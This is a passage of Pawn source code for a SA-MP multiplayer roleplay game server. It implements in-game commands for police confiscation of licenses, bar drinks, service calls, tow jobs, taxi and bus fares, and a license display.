							return true;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_LIGHTRED, "Unknown Suspend name");
						return true;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command!");
					return true;
				}
			}
			return true;
		}
		if(strcmp(cmd, "/take", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{
				if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-Duty.");
					return 1;
				}
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr)) {
						SCM(playerid, CRISTIAN, "|__________________ Take Licenses __________________|");
						SCM(playerid, COL_SYN,"Syntax: /take <LicenseName> <Playerid/PartOfName>");
						SCM(playerid, COLOR_GREY, "Available names: Driverlic, Flylic, saillic ");
						SCM(playerid, COLOR_GREY, "Available names: Gunlic, Weapons, Drugs, Materials");
						SCM(playerid, CRISTIAN, "|_________________________________________________|");
						return 1;
					}
					if(strcmp(x_nr,"driverlic",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take driverlic <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Drivers License.", giveplayername);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's driving license.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s has taken away your Drivers License.", sendername);
									SendMessage(giveplayerid, COL_SYN, string);
									PlayerInfo[giveplayerid][pCarLic] = 0;
									SaveKonVal(giveplayerid, "pCarLic", 0);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else if(strcmp(x_nr,"flylic",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take flylic <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Flying License.", giveplayername);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's flying license.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s has taken away your Flying License.", sendername);
									SendMessage(giveplayerid,COL_SYN, string);
									PlayerInfo[giveplayerid][pFlyLic] = 0;
									SaveKonVal(giveplayerid, "pFlyLic", 0);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else if(strcmp(x_nr,"gunlic",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take gunlic <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Weapon License.", giveplayername);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's weapon license.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s has taken away your Weapon License.", sendername);
									SendMessage(giveplayerid, COL_SYN, string);
									PlayerInfo[giveplayerid][pGunLic] = 0;
									SaveKonVal(giveplayerid, "pGunLic", 0);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else if(strcmp(x_nr,"saillic",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take saillic <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Boat License.", giveplayername);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's sailing license.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s has taken away your Boat License.", sendername);
									SendMessage(giveplayerid, COL_SYN, string);
									PlayerInfo[giveplayerid][pBoatLic] = 0;
									SaveKonVal(giveplayerid, "pBoatLic", 0);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else if(strcmp(x_nr,"weapons",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take weapons <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Weapons.", giveplayer);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's weapons.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s has taken away your Weapons.", sendername);
									SendMessage(giveplayerid, COL_SYN, string);
									ResetPlayerKolang(giveplayerid);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else if(strcmp(x_nr,"drugs",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take drugs <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Drugs.", giveplayer);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's drugs.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s has taken away your Drugs.", sendername);
									SendMessage(giveplayerid, COL_SYN, string);
									PlayerInfo[giveplayerid][pDrugs] = 0;
									SaveKonVal(giveplayerid, "pDrugs", 0);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else if(strcmp(x_nr,"materials",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp)) {
							SendMessage(playerid, COL_SYN, "Syntax: /take materials <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if (ProxDetectorS(8.0, playerid, giveplayerid))
								{
								if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error: You can't take anything from your higher admins rank.");
									new giveplayername[64];
									GetPlayerName(playerid, sendername, sizeof(sendername));
									GetPlayerName(giveplayerid, giveplayername, sizeof(giveplayername));
									format(string, sizeof(string), "You have taken away %s's Materials.", giveplayer);
									SendMessage(playerid, COL_SYN, string);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s has taken %s's materials.", GetPlayerRank(playerid),sendername, giveplayername);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
									format(string, sizeof(string), "Officer %s as taken away your Materials.", sendername);
									SendMessage(giveplayerid, COL_SYN, string);
									PlayerInfo[giveplayerid][pMats] = 0;
									SaveKonVal(giveplayerid, "pMats", 0);
								}
								else
								{
									SendMessage(playerid, COLOR_GREY, "That player is not near you");
									return 1;
								}
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is Offline");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "Unknown Take name");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/drink", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAtBar(playerid))
				{
						new x_nr[256];
						x_nr = strtok(cmdtext, idx);
						if(!strlen(x_nr)) {
							SendMessage(playerid, CRISTIAN, "|__________________ Bar Drinks __________________|");
							SendMessage(playerid, COL_SYN, "Syntax: /drink <DrinkName>");
							SendMessage(playerid, COLOR_GRAD4, "Alcohol: Beer ($1), Tequila ($2), Vodka ($1), Wine ($1), Whiskey ($1)");
							SendMessage(playerid, COLOR_GRAD4, "Juice: Coca-Cola ($1), Fanta ($1), Prigat ($1), Schweppes ($1), Sprite ($1)");
							SendMessage(playerid, COLOR_GRAD4, "Other drinks: Caffe ($1), Cocktail ($1), Soda($1), Water ($1)");
							SendMessage(playerid, CRISTIAN, "|________________________________________________|");
							return 1;
						}
						if(strcmp(x_nr,"beer",true) == 0)
						{
							if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							GivePlayerPool(playerid, - 1);
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_BEER);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"vodka",true) == 0)
						{
						if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"whiskey",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"wine",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"tequila",true) == 0)
						{
						if(GetPlayerPool(playerid) < 2) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
							GivePlayerPool(playerid, - 2);
							FixKoon(playerid);

						}
						else if(strcmp(x_nr,"water",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"soda",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"coca-cola",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"schweppes",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"prigat",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"fanta",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"sprite",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"caffe",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else if(strcmp(x_nr,"cocktail",true) == 0)
						{
if(GetPlayerPool(playerid) < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough cash.");
							SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
							GivePlayerPool(playerid, - 1);
							FixKoon(playerid);
						}
						else
						{
							SCM(playerid,COLOR_SINA3,"Invalid drink name.");
							SendMessage(playerid, CRISTIAN, "|__________________ Bar Drinks __________________|");
							SendMessage(playerid, COL_SYN, "Syntax: /drink <DrinkName>");
							SendMessage(playerid, COLOR_GRAD4, "Alcohol: Beer ($6), Tequila ($20), Vodka ($10), Wine ($10), Whiskey ($15)");
							SendMessage(playerid, COLOR_GRAD4, "Juice: Coca-Cola ($5), Fanta (5$), Prigat (7$), Schweppes (5$), Sprite (5$)");
							SendMessage(playerid, COLOR_GRAD4, "Other drinks: Caffe ($3), Cocktail ($7), Soda($2), Water ($2)");
							SendMessage(playerid, CRISTIAN, "|________________________________________________|");
							return 1;
						}
				}
				else
				{
					SendMessage(playerid, COLOR_SINA3, "You are not at a Bar.");
					return 1;
				}
			}
			return 1;
		}
	/*----------------------------------------------------------------------------*///----
		if (strcmp("/fightstyle", cmd, true, 10) == 0)
		{
		  if(!PlayerToPoint(2.0,playerid,757.5751,5.6157,1000.7015))
				{
					SendMessage(playerid, COLOR_LIGHTRED, "You are not at LS GYM.");
					return 1;
				}
			 ShowPlayerDialog(playerid, 61, DIALOG_STYLE_LIST, "Fighting Styles:", "Elbow\nBoxing\nGrabkick\nKneehead\nKung-Fu\nNormal", "Select", "Cancel");
			 return 1;
		}
		if(strcmp(cmd, "/service", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new x_nr[256];
				x_nr = strtok(cmdtext, idx);
				if(!strlen(x_nr)) {
					SendMessage(playerid, COLOR_WHITE, "|__________________ Service Names __________________|");
					SendMessage(playerid, COL_SYN, "Syntax: /service [name]");
					SendMessage(playerid, COLOR_GREY, "Available names: Taxi, Medic, Mechanic");
					SendMessage(playerid, COLOR_WHITE, "|________________________________________________|");
					return 1;
				}
				if(strcmp(x_nr,"taxi",true) == 0)
				{
				if(IsPlayerInAnyVehicle(playerid))
				{
				SCM(playerid,COLOR_YELLOW,"You can't call any taxi driver when you are in a car");
				return 1;
				}
					if(TaxiDrivers < 1)
					{
						SendMessage(playerid, COLOR_TAXI, "There is no Taxi Drivers On Duty at the moment, try again later.");
						return 1;
					}
					if(TransportDuty[playerid] > 0)
					{
						SendMessage(playerid, COLOR_TAXI, "You can't call for a Taxi now.");
						return 1;
					}

					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, sizeof(string), "(%d) %s need a Taxi Driver. (use: /[acc]ept taxi %d) to accept the call", playerid, sendername, playerid);
					SendFamilyMessage(10, COLOR_TAXI, string, string);
					SendMessage(playerid, COLOR_LIGHTBLUE, "You have called for a Taxi Driver, wait for a reply.");
				IWantTaxi[playerid] = 1;
					return 1;
				}
				else if(strcmp(x_nr,"medic",true) == 0)
				{
					if(Medics < 1)
					{
						SendMessage(playerid, COLOR_MEDIC, "There is no Medics On Duty at the moment, try again later.");
						return 1;
					}
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, sizeof(string), "(%d) %s is in need of a Medic. (use /[acc]ept medic %d) to accept the call", playerid,sendername,playerid);
					SendRadioMessage(4, COLOR_MEDIC, string);
					SendMessage(playerid, COLOR_MEDIC, "You have called for a Medic, wait for a reply.");
					IWantMedic[playerid] = 1;
					return 1;
				}
				else if(strcmp(x_nr,"mechanic",true) == 0)
				{
				if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_LIGHTBLUE,"You are not in a vehicle.");
					if(Mechanics < 1)
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "There is no Car Mechanics On Duty at the moment, try again later.");
						return 1;
					}
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, sizeof(string), "** %s [ID : %d] is need a Car Mechanic. (use: /[acc]ept mechanic %d) to accept the call", sendername,playerid,playerid);
					SendJobMessage(7, COLOR_LIGHTBLUE, string);
					SendMessage(playerid, COLOR_MEDIC, "You have called for a Car Mechanic, wait for a reply.");
					IWantMechanic[playerid] = 1;
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_SINA3, "Unknown service name.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/towls", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pMember] == 16 || PlayerInfo[playerid][pLeader] == 16)
				{
					if(IsPlayerInVehicle(playerid, tcc1) || IsPlayerInVehicle(playerid, tcc2) || IsPlayerInVehicle(playerid, tcc3) || IsPlayerInVehicle(playerid, tcc4) || IsPlayerInVehicle(playerid, tcc5))
					{
						if(IsTrailerAttachedToVehicle(GetPlayerVehicleID(playerid)))
						{
							//if(PlayerInfo[playerid][pTow] >= 1)
							//{
								if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
								if(towtimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "** You already towed a car, wait 3 minutes!");
								PlayerInfo[playerid][pTow] -= 1;
								SaveKonVal(playerid, "pTow", PINFO[playerid][pTow]);
								OnCheckpoint[playerid] = 1;
								CP[playerid] = 199;
								SetPlayerCheckpoint(playerid, 2409.8416,-1425.7860,23.9826, 5.0);
								SendMessage(playerid, COLOR_YELLOW, "Drive to Warehouse to destroy the towed car.");
								towtimer[playerid] = 1;
								SetTimerEx("towtime", 180000, 0, "d", playerid);
							//}
						   // else
						   // SendMessage(playerid, COLOR_GRAD1, "** You cannot tow any car till PayDay.");
						}
						else
						SendMessage(playerid, COLOR_GRAD1, "** You dont towed a car !");
					}
					else
					SendMessage(playerid, COLOR_GRAD1, "** You are not in a Tow Truck !");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/towlv", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pMember] == 16 || PlayerInfo[playerid][pLeader] == 16)
				{
					if(IsPlayerInVehicle(playerid, tcc1) || IsPlayerInVehicle(playerid, tcc2) || IsPlayerInVehicle(playerid, tcc3) || IsPlayerInVehicle(playerid, tcc4) || IsPlayerInVehicle(playerid, tcc5))
					{
						if(IsTrailerAttachedToVehicle(GetPlayerVehicleID(playerid)))
						{
							//if(PlayerInfo[playerid][pTow] >= 1)
							//{
							if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
								if(towtimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "** You already towed a car, wait 3 minutes!");
								PlayerInfo[playerid][pTow] -= 1;
								SaveKonVal(playerid, "pTow", PINFO[playerid][pTow]);
								OnCheckpoint[playerid] = 1;
								CP[playerid] = 199;
								SetPlayerCheckpoint(playerid, 2201.7668,938.9688,10.6974, 5.0);
								SendMessage(playerid, COLOR_YELLOW, "Drive to Warehouse to destroy the towed car.");
								towtimer[playerid] = 1;
								SetTimerEx("towtime", 180000, 0, "d", playerid);
							//}
						   // else
						   // SendMessage(playerid, COLOR_GRAD1, "** You cannot tow any car till PayDay.");
						}
						else
						SendMessage(playerid, COLOR_GRAD1, "** You dont towed a car !");
					}
					else
					SendMessage(playerid, COLOR_GRAD1, "** You are not in a Tow Truck !");
				}
			}
			return 1;
		}

		if(strcmp(cmd,"/fare",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pMember] == 10||PlayerInfo[playerid][pLeader] == 10|| PlayerInfo[playerid][pJob] == 14)
				{
					if(TransportDuty[playerid] > 0)
					{
						if(TransportDuty[playerid] == 1)
						{
							TaxiDrivers -= 1;
						}
						else if(TransportDuty[playerid] == 2)
						{
							BusDrivers -= 1;
						}
						TransportDuty[playerid] = 0;
						format(string, sizeof(string), "You are now Off Duty and earned $%d.", TransportMoney[playerid]);
						SendMessage(playerid, COLOR_GRAD4, string);
						GivePlayerPool(playerid, TransportMoney[playerid]);
						TransportValue[playerid] = 0; TransportMoney[playerid] = 0;
						return 1;
					}

					new Veh = GetPlayerVehicleID(playerid);
					if(Veh == 71 || Veh == 72 || Veh == 73 || Veh == 74 || Veh == 75 || Veh == 76 || Veh == 77 || Veh == 78 || Veh == 79 || Veh == 80 || Veh == 158 || Veh == 156 || Veh == 159 || Veh == 160 || Veh == 161 || Veh == 162 || Veh == 163 || Veh == 164 || Veh == 103 || Veh == 105)
					{
						if(GetPlayerState(playerid) == 2)
						{
							tmp = strtok(cmdtext, idx);
							if(!strlen(tmp))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /fare [price]");
								return 1;
							}
							moneys = strval(tmp);
							if(moneys < 1 || moneys > 5) { SendMessage(playerid, COLOR_GREY, "   Fare price must be between $1 and $5 !"); return 1; }
							TaxiDrivers += 1; TransportDuty[playerid] = 1; TransportValue[playerid] = moneys;
							GetPlayerName(playerid,sendername,sizeof(sendername));
							format(string, sizeof(string), "Taxi Driver %s is on duty, fare: $%d.", sendername, TransportValue[playerid]);
							SendFamilyMessage(10, TEAM_GroveStreet_COLOR, string, string);
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "** You are not the Driver !");
							return 1;
						}
					}
					else if(Veh >= 384 && Veh <= 388 || Veh >= 96 && Veh <= 97 || Veh >= 377 && Veh <= 383 || Veh >= 69 && Veh <= 70)
					{
						if(GetPlayerState(playerid) == 2)
						{
							tmp = strtok(cmdtext, idx);
							if(!strlen(tmp))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /fare [price]");
								return 1;
							}
							moneys = strval(tmp);
							if(moneys < 1 || moneys > 5) { SendMessage(playerid, COLOR_GREY, "   Fare price must be between $1 and $5 !"); return 1; }
							BusDrivers += 1;
							TransportDuty[playerid] = 2;
							TransportValue[playerid] = moneys;
							GetPlayerName(playerid,sendername,sizeof(sendername));
							format(string, sizeof(string), "You are now on duty, fare: $%d.", TransportValue[playerid]);
							SCM(playerid, TEAM_GroveStreet_COLOR, string);
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You are not the Driver !");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "You are not in a Taxi / Bus !");
					}
				}
				else
				{
					SendMessage(playerid,COLOR_GREY,"You are not a Taxi / Bus Driver !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd,"/licenses",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				new text1[20];
				new text2[20];
				new text3[20];
				new text4[20];
				new text5[20];
				new text6[20];
				if(PlayerInfo[playerid][pCarLic] && PlayerInfo[playerid][pCarLicS] == 0)
				{
					text1 = "Passed";
				}
				else if(PlayerInfo[playerid][pCarLicS] > 0)
				{
					text1 = "Suspended";
				}
				else if(PINFO[playerid][pCarLic] == 0 && PINFO[playerid][pCarLicS] == 0)
				{
					text1 = "Not Passed";
				}
				if(PlayerInfo[playerid][pFlyLic] && PlayerInfo[playerid][pFlyLicS] == 0)
				{
					text4 = "Passed";
				}
				else if(PlayerInfo[playerid][pFlyLicS] > 0)
				{
					text4 = "Suspended";
				}
				else if(PINFO[playerid][pFlyLic] == 0 && PINFO[playerid][pFlyLicS] == 0)
				{
					text4 = "Not Passed";
				}
				if(PlayerInfo[playerid][pBoatLic] && PlayerInfo[playerid][pBoatLicS] == 0)
				{
					text2 = "Passed";
				}
				else if(PlayerInfo[playerid][pBoatLicS] > 0)
				{
					text2 = "Suspended";
				}
				else if(PINFO[playerid][pBoatLic] == 0 && PINFO[playerid][pBoatLicS] == 0)
				{
					text2 = "Not Passed";
				}
				if(PlayerInfo[playerid][pGunLic] && PlayerInfo[playerid][pGunLicS] == 0)
				{
					text5 = "Passed";
				}
				else if(PlayerInfo[playerid][pGunLicS] > 0)
				{
					text5 = "Suspended";
				}
				else if(PINFO[playerid][pGunLic] == 0 && PINFO[playerid][pGunLicS] == 0)
				{
					text5 = "Not Passed";
				}
				if(PlayerInfo[playerid][pMatsLic] && PlayerInfo[playerid][pMatsLicS] == 0)
				{
					text6 = "Passed";
				}
				else if(PlayerInfo[playerid][pMatsLicS] > 0)
				{
					text6 = "Suspended";
				}
				else if(PINFO[playerid][pMatsLic] == 0 && PINFO[playerid][pMatsLicS] == 0)
				{
					text6 = "Not Passed";
				}
				if(PlayerInfo[playerid][pFishLic]) { text3 = "Passed"; } else { text3 = "Not Passed"; }
				SendMessage(playerid, CRISTIAN, "|__________________ Licenses __________________|");
				if(PINFO[playerid][pCarLic])
				{
				format(string, sizeof(string), "** Drivers License: %s(%d).", text1,PINFO[playerid][pCarLic]);
				}
				else
				{
				format(string, sizeof(string), "** Drivers License: %s.", text1);
				}
				SendMessage(playerid, COLOR_CRS2, string);
				if(PINFO[playerid][pFlyLic])
				{
